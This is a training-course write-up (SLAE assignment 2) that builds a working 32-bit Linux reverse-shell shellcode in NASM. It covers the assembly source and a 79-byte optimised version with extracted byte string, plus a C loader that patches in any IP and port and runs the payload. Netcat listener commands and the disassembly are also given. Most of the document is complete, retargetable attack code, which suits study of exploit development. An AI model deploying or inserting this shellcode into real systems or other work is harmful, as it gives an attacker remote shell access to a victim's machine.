SLAE: Assignment 2 of 7

Assignment #2 objectives:
- Create a shell_reverse_tcp assembly shellcode which:
- Reverse connects to configured IP and Port
- Execs shell on successful connection
- IP and Port should be easily configurable
==========================================

Similar to assignment #1 where we were asked to write a bind-shell, assignment #2 focuses on the more useful reverse shell. I'll be reusing much of the code of assignment #1 for this exercise and will use it as a starting point.

man 2 connect

DESCRIPTION
The  connect()  system call connects the socket referred to by the file descriptor sockfd to the address specified by addr.  The addrlen  argument  specifies the size of addr.  The format of the address in addr is determined by the address space of the socket sockfd; see socket(2) for further details.

Note: In summary, this is what we need to do to create a reverse shell:
- create socket
- connect to a remote IP and remote port
- Pass /bin/sh to new client socket using execve

Note: We'll modify the existing bindshell.nasm code from assignment #1 as follows:

; Filename: rshell1.nasm
; Author:  JollyFrogs (frog@jollyfrogs.com)
; Purpose: This shellcode creates a /bin/sh TCP reverse shell to port 5555
;
global _start

section .text
_start:
; parameters for SOCKET(2) are placed on the stack in reverse order
; SOCKET(2) Synopsis: int socket(int domain, int type, int protocol);
; Before instruction "int 0x80" the stack should look like:
; 02 00 00 00 01 00 00 00 00 00 00 00
; ^AF_INET    ^S_STREAM   ^TCP

xor     eax, eax           ; set EAX to 00000000
push    eax                ; PUSH 00000000 (TCP)
inc     eax                ; EAX = 00000001
push    eax                ; PUSH 00000001 (SOCK_STREAM)
inc     eax                ; EAX = 00000002
push    eax                ; PUSH 00000002 (AF_INET)

; invoke socketcall to create the socket
mov     al, 0x66           ; EAX = 00000066 (SOCKETCALL)
xor     ebx, ebx           ; EBX = 00000000
inc     ebx                ; EBX = 00000001 (SOCKETCALL.SOCKET)
mov     ecx, esp           ; ECX = points to top of stack
int     0x80               ; SYSCALL SOCKETCALL(2)-SOCKET(2)
mov     edi, eax           ; store fd in edi

; parameters for CONNECT(2) are placed on the stack in reverse order
; CONNECT(2) Synopsis: int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 xx xx xx xx 10 00 00 00 02 00 b3 15 7F 01 01 01
; ^FD         ^           ^structlen  ^AFNT ^port ^out_addr
;             | PTR to ----------^

pop     ebx                ; EBX = 00000002
mov     eax, 0x0101017F    ; EAX = 0101017F (127.1.1.1 reversed)
push    eax                ; PUSH 0101017F  (sockaddr_1 = 127.1.1.1)
mov     ax, 0xB315         ; EAX = 0000B315 (5555 reversed)
push    ax                 ; PUSH B315      (sockaddr_2 = 5555)
push    bx                 ; PUSH 0002      (sockaddr_3 = 2)
inc     ebx                ; EBX = 00000003 (SOCKETCALL.CONNECT)
mov     ecx, esp           ; ECX = ESP
xor     eax, eax           ; EAX = 00000000
mov     al, 0x10           ; EAX = 00000010
push    eax                ; PUSH 00000010  (len(sockaddr))
push    ecx                ; PUSH (*ADDR)   (ptr to sockaddr)
push    edi                ; push (FD)      (SOCKFD)

; invoke socketcall to connect the socket to IP and port
mov     al, 0x66           ; EAX = 00000066 (SOCKETCALL)
mov     ecx, esp           ; ECX = points to top of stack
int     0x80               ; SYSCALL SOCKETCALL(2)-CONNECT(2)

; use syscall DUP2(2) to copy the stdin(0), stdout(1) and stderr(2)
; DUP2(2) Synopsis: int dup2(int oldfd, int newfd);
xchg    edi, ebx           ; EBX = FD (SOCKFD)
xor     ecx, ecx           ; ECX = 00000000
mov     cl, 3              ; ECX = 00000003

redirect:
dec     ecx                ; ECX = 00000002
mov     al, 0x3f           ; DUP2(2) (3 times - ECX=2, ECX=1, ECX=0)
int     0x80               ; SYSCALL DUP2(2) (ECX=2, ECX=1, ECX=0)
jnz     redirect           ;

; spawn /bin/sh shell
salc                       ; EAX = 00000000
push    eax                ; PUSH 00000000 (NULL byte)
pop     ecx                ; ECX = 00000000 (EXECVE ARGV)
push    eax                ; PUSH 00000000 (NULL byte)
pop     edx                ; EDX = 00000000 (EXECVE ENVP)

; push '/bin//sh, 0' on stack
push    eax                ; PUSH 00000000 (NULL byte)
mov     al, 11             ; EXECVE(2)
push    0x68732f2f         ; "//sh"
push    0x6e69622f         ; "/bin"
mov     ebx, esp           ; ptr to "/bin//sh" string
int     0x80               ; Start /bin/sh in the socket FD

Note: We compile the assembly code and test it:

nasm -f elf32 -o rshell1.o rshell1.nasm | ld -o rshell1 rshell1.o

Note: We start a netcat listener in a new window:

nc -nlv 5555

Note: We can now start the file as follows:

./rshell1

Note: We successfully receive a connection on our listener, and we can enter commands:
slae@slae-VirtualBox:~$ nc -nlv 5555
Connection from 127.0.0.1 port 5555 [tcp/*] accepted
whoami
slae

Note: The code can be optimized in a similar way as assignment 1:

; Filename: rshell2.nasm
; Author:  JollyFrogs (frog@jollyfrogs.com)
; Purpose: This shellcode creates a /bin/sh TCP reverse shell to port 5555
; Size: 79 Bytes
;
; License: This work is licensed under a Creative Commons
; Attribution-NonCommercial 4.0 International License.
;
; To change the port, change the bytes "\x15\xb3" (5555 in reverse order)
; To change the IP, change "\x7f\x01\x01\x01" (127.1.1.1 in reverse order)
;
; Compilation:
; nasm -f elf32 -o rshell2.o rshell2.nasm | ld -o rshell2 rshell2.o

global _start

section .text
_start:
; Note: parameters are placed on the stack in reverse order due to little endianness
;
; SOCKET(2) Synopsis: int socket(int domain, int type, int protocol);
; Before instruction "int 0x80" the stack should look like:
; 02 00 00 00 01 00 00 00 00 00 00 00
; ^AF_INET    ^S_STREAM   ^TCP

xor     eax, eax           ; EAX = 00000000
push    eax                ; PUSH 00000000 (TCP)
inc     eax                ; EAX = 00000001
push    eax                ; PUSH 00000001 (SOCK_STREAM)
pop     ebx                ; EBX = 00000001 (SOCKETCALL.SOCKET)
push    eax                ; PUSH 00000001 (SOCK_STREAM)
inc     eax                ; EAX = 00000002
push    eax                ; PUSH 00000002 (AF_INET)

; invoke socketcall to create the socket
mov     al, 0x66           ; EAX = 00000066 (SOCKETCALL)
mov     ecx, esp           ; ECX = points to top of stack (0xBFFFF3E4)
int     0x80               ; SYSCALL SOCKETCALL(2)-SOCKET(2)
xchg    edi, eax           ; store fd in edi

; parameters for CONNECT(2) are placed on the stack in reverse order
; CONNECT(2) Synopsis: int connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen);
; Before instruction "int 0x80" the stack should look like:
; 07 00 00 00 xx xx xx xx 10 00 00 00 02 00 b3 15 7F 01 01 01
; ^FD         ^           ^structlen  ^AFNT ^port ^out_addr
;             | PTR to ----------^

mov     eax, 0x0101017F    ; EAX = 0101017F (127.1.1.1 reversed)
push    eax                ; PUSH 0101017F (127.1.1.1)

mov     ax, 0xB315         ; EAX = 0000B315 (5555 reversed)
inc     ebx                ; EBX = 00000002
push    ax                 ; PUSH B315      (sockaddr_2)
push    bx                 ; PUSH 0002      (sockaddr_3)
inc     ebx                ; EBX = 00000002 (SOCKETCALL.CONNECT)

mov     ecx, esp           ; ECX = ESP (0xBFFFF3E8)
xor     eax, eax           ; EAX = 00000000
mov     al, 0x10           ; EAX = 00000010
push    eax                ; PUSH 00000010  (len(sockaddr))
push    ecx                ; PUSH (*ADDR)   (ptr to sockaddr)
push    edi                ; push (FD)      (SOCKFD)

; invoke socketcall to connect the socket to IP and port
mov     al, 0x66           ; EAX = 00000066 (SOCKETCALL)
mov     ecx, esp           ; ECX = points to top of stack  (0xBFFFF3DC)

int     0x80               ; SYSCALL SOCKETCALL(2)-CONNECT(2)

; use syscal DUP2(2) to copy the stdin(0), stdout(1) and stderr(2)
; DUP2(2) Synopsis: int dup2(int oldfd, int newfd);
xchg    ecx, ebx           ; ECX = 00000003
xchg    ebx, edi           ; EBX = SOCKFD
; XCHG ECX, EBX saves having to zero ecx and set it to 3

reduceecxtozero:
dec     ecx                ; ECX = 00000002 (then 00000001, then 00000000)
mov     al, 0x3f           ; EAX = 0000003F DUP2(2) (ECX 2=stderr,1=stdout,0=stdin)
int     0x80               ; SYSCALL DUP2(2)
jnz     reduceecxtozero    ; Until ECX = 0 meaning stdin was DUP2'd

; spawn /bin/sh shell
; Note that EAX is set to 00000000 upon last succesful execution of DUP2
push    eax                ; PUSH 00000000 (NULL byte)
push    eax                ; PUSH 00000000 (NULL byte)
pop     ecx                ; ECX = 00000000 (EXECVE ARGV)
pop     edx                ; EDX = 00000000 (EXECVE ENVP)

; push '/bin//sh, 0' on stack
push    eax                ; PUSH 00000000 (NULL byte)
mov     al, 0xb            ; EXECVE(2)
push    0x68732f2f         ; "//sh"
push    0x6e69622f         ; "/bin"
xchg    esp, ebx           ; Save a byte by sacrificing unneeded ESP
int     0x80               ; Start /bin/sh in the client socket FD

Note: We grab the shellcode bytes from the assembled program:

nasm -f elf32 -o rshell2.o rshell2.nasm | ld -o rshell2 rshell2.o
objdump -d ./rshell2|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'

\x31\xc0\x50\x40\x50\x5b\x50\x40\x50\xb0\x66\x89\xe1\xcd\x80\x97\xb8\x7f\x01\x01\x01\x50\x66\xb8\x15\xb3\x43\x66\x50\x66\x53\x43\x89\xe1\x31\xc0\xb0\x10\x50\x51\x57\xb0\x66\x89\xe1\xcd\x80\x87\xcb\x87\xdf\x49\xb0\x3f\xcd\x80\x75\xf9\x50\x50\x59\x5a\x50\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x87\xe3\xcd\x80

Note: I reused the code from assignment 1, and added an option to easily set the IP

/*
Filename: rshell.c
Author: JollyFrogs (frog@jollyfrogs.com)
License: This work is licensed under a Creative Commons
Attribution-NonCommercial 4.0 International License.
Compile:
gcc -m32 -fno-stack-protector -z execstack rshell.c -o rshell
Shellcode size: 79 Bytes
*/

#include <stdio.h>
#include <string.h>
#include <ctype.h>
#include <stdbool.h>

unsigned char shellcode[] = \
"\x31\xc0\x50\x40\x50\x5b\x50\x40\x50\xb0\x66\x89\xe1\xcd\x80\x97"
"\xb8\x7f\x01\x01\x01\x50\x66\xb8\x15\xb3\x43\x66\x50\x66\x53\x43"
"\x89\xe1\x31\xc0\xb0\x10\x50\x51\x57\xb0\x66\x89\xe1\xcd\x80\x87"
"\xcb\x87\xdf\x49\xb0\x3f\xcd\x80\x75\xf9\x50\x50\x59\x5a\x50\xb0"
"\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x87\xe3\xcd\x80";

static bool shellcode_zerocheck() {
// initialize counter
int i = 0;
// check each byte in shellcode array for hexidecimal zero value, return false if zero found
for(i = 0; i < sizeof(shellcode)-1; i++) {
if (shellcode[i] == '\x00') {
printf("Zero found in shellcode at position %i\n",i);
return false;
}
}
// Return true if no zeroes found
return true;
}

static bool shellcode_settargetport(char *buf, int port) {
// Check if decimal port is valid
if (port<1024 || port>65535) return false;
// The offset of the port is 21, but reduce by 1 since the array counts from 0
int port_offset = 24; // (\x15\xb3)
// convert decimal port to hexidecimal
*(short *)(buf+port_offset) = port; // (\x15\xb3) - shellcode array counts from 0
// Swap port bytes to accomodate for Little Endian memory structure
char tmp = buf[port_offset];
buf[port_offset] = buf[port_offset+1];
buf[port_offset+1] = tmp;
// Check if the hexidecimal port contains zeroes, if it does then show an error
if (shellcode[port_offset] == '\x00' || shellcode[port_offset+1] == '\x00') {
printf("port HEX contains zeroes\n"); return false;
}
// Return true if all checks passed
return true;
}

static bool shellcode_settargetip(char *buf, char *ip) {
int ip_offset = 17; // (\x7f\x01\x01\x01\)
unsigned char value[4] = {0};
size_t index = 0;
while (*ip) {
if (isdigit((unsigned char)*ip)) {
value[index] *= 10;
value[index] += *ip - '0';
} else {
index++;
}
ip++;
}
// check each byte in shellcode array for hexidecimal zero value, return false if zero found
int i = 0; for(i = 0; i < 4; i++) {
*(char *)(buf+ip_offset+i) = value[i];
if (shellcode[ip_offset+i] == '\x00'){printf("port HEX contains zeroes\n"); return false;}
}
// Return true if all checks passed
return true;
}

main () {
// Port in decimal - should be higher than 1024 and lower than 65536
int targetport = 1234;
char *targetip = "127.1.1.1";
// Basic error checking
if (!shellcode_settargetport(shellcode, targetport)) {printf("ERROR: Invalid targetport\n");return 0;}
if (!shellcode_settargetip(shellcode, targetip)) {printf("ERROR: Invalid targetip\n");return 0;}
if (!shellcode_zerocheck()) {printf("ERROR: Shellcode contains zeroes\n");return 0;}
// Print shellcode length.
printf("Shellcode Length:  %d\n", strlen(shellcode));
// Run assembly commands
__asm__ (
// Initialize registers
"movl $0x12345678, %eax\n\t"
"movl $0x12345678, %ebx\n\t"
"movl $0x12345678, %ecx\n\t"
"movl $0x12345678, %edx\n\t"
"movl $0x12345678, %edi\n\t"
"movl $0x12345678, %esi\n\t"
"movl $0x12345678, %ebp\n\t"
// execute shellcode
"jmp shellcode");
}

/*
Disassembly of section .text:

08048060 <_start>:
8048060:    31 c0                    xor    %eax,%eax
8048062:    50                       push   %eax
8048063:    40                       inc    %eax
8048064:    50                       push   %eax
8048065:    5b                       pop    %ebx
8048066:    50                       push   %eax
8048067:    40                       inc    %eax
8048068:    50                       push   %eax
8048069:    b0 66                    mov    $0x66,%al
804806b:    89 e1                    mov    %esp,%ecx
804806d:    cd 80                    int    $0x80
804806f:    97                       xchg   %eax,%edi
8048070:    b8 7f 01 01 01           mov    $0x101017f,%eax
8048075:    50                       push   %eax
8048076:    66 b8 15 b3              mov    $0xb315,%ax
804807a:    43                       inc    %ebx
804807b:    66 50                    push   %ax
804807d:    66 53                    push   %bx
804807f:    43                       inc    %ebx
8048080:    89 e1                    mov    %esp,%ecx
8048082:    31 c0                    xor    %eax,%eax
8048084:    b0 10                    mov    $0x10,%al
8048086:    50                       push   %eax
8048087:    51                       push   %ecx
8048088:    57                       push   %edi
8048089:    b0 66                    mov    $0x66,%al
804808b:    89 e1                    mov    %esp,%ecx
804808d:    cd 80                    int    $0x80
804808f:    87 cb                    xchg   %ecx,%ebx
8048091:    87 df                    xchg   %ebx,%edi

08048093 <reduceecxtozero>:
8048093:    49                       dec    %ecx
8048094:    b0 3f                    mov    $0x3f,%al
8048096:    cd 80                    int    $0x80
8048098:    75 f9                    jne    8048093 <reduceecxtozero>
804809a:    50                       push   %eax
804809b:    50                       push   %eax
804809c:    59                       pop    %ecx
804809d:    5a                       pop    %edx
804809e:    50                       push   %eax
804809f:    b0 0b                    mov    $0xb,%al
80480a1:    68 2f 2f 73 68           push   $0x68732f2f
80480a6:    68 2f 62 69 6e           push   $0x6e69622f
80480ab:    87 e3                    xchg   %esp,%ebx
80480ad:    cd 80                    int    $0x80
*/

Note: We start a netcat listener in a separate window:

nc -lv 1234

Note: By listening on port 1234 on all ip addresses (local IP) we set up the reverse shell:

gcc -m32 -fno-stack-protector -z execstack rshell.c -o rshell
./rshell

Note: We see a successful connection in our netcat terminal:
Connection from 127.0.0.1 port 1234 [tcp/*] accepted

Note: If no listener is set up we will get a segmentation fault:

./rshell

Shellcode Length:  79
Segmentation fault (core dumped)

Note: We get a segfault because we start /bin/sh in a non-existent file descriptor (no connection)